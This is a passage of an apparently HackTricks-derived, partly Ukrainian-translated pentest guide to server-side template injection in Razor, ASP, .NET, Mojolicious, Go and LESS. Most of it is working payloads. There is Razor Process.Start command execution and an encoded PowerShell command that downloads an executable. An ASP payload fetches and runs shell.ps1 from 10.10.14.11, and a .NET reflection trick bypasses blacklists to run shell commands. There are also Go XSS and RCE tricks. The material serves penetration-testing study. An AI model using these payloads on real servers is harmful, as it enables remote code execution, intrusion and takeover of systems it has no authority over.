Додаткова інформація

Інше (Python)

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

Додаткова інформація

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Більше інформації

.Net Обхід обмежень

The .NET Reflection mechanisms можна використати для обходу чорних списків або у випадках, коли класи відсутні у збірці. DLL’s можуть завантажуватися під час виконання, при цьому їхні методи та властивості стають доступними з базових об’єктів.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - з файлової системи.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - безпосередньо з запиту.

Повне виконання команди:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Додаткова інформація

Mojolicious (Perl)

Навіть якщо це perl, він використовує теги, схожі на ERB у Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

У шаблонному механізмі Go підтвердження його використання можна провести за допомогою конкретних payload’ів:

  • {{ . }}: Відображає вхідну структуру даних. Наприклад, якщо передано об’єкт з атрибутом Password, {{ .Password }} може його розкрити.
  • {{printf "%s" "ssti" }}: Очікується, що відобразить рядок “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Ці payload’и повинні повернути “ssti” без додавання “html” або “js”. Подальші директиви можна переглянути в документації Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

За допомогою пакета text/template XSS може бути простим — достатньо вставити payload безпосередньо. Натомість пакет html/template кодує відповідь, щоб цього уникнути (наприклад, {{"<script>alert(1)</script>"}} дає &lt;script&gt;alert(1)&lt;/script&gt;). Проте визначення та виклик шаблону в Go можуть обійти це кодування: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

Експлуатація RCE суттєво відрізняється між html/template та text/template. Модуль text/template дозволяє викликати будь-яку public-функцію напряму (використовуючи значення “call”), чого не дозволяє html/template. Документація для цих модулів доступна here for html/template and here for text/template.

Для RCE через SSTI у Go можна викликати методи об’єкта. Наприклад, якщо переданий об’єкт має метод System, що виконує команди, його можна використати так: {{ .System "ls" }}. Зазвичай для експлуатації потрібно мати доступ до вихідного коду, як у наведеному прикладі:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Додаткова інформація

LESS (CSS Preprocessor)

LESS — популярний CSS препроцесор, який додає змінні, mixins, функції та потужну директиву @import. Під час компіляції двигун LESS буде завантажувати ресурси, на які посилаються у @import директивах і вставляти (“inline”) їхній вміст у результуючий CSS, коли використовується опція (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

If you think it could be useful, read:

Tools

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks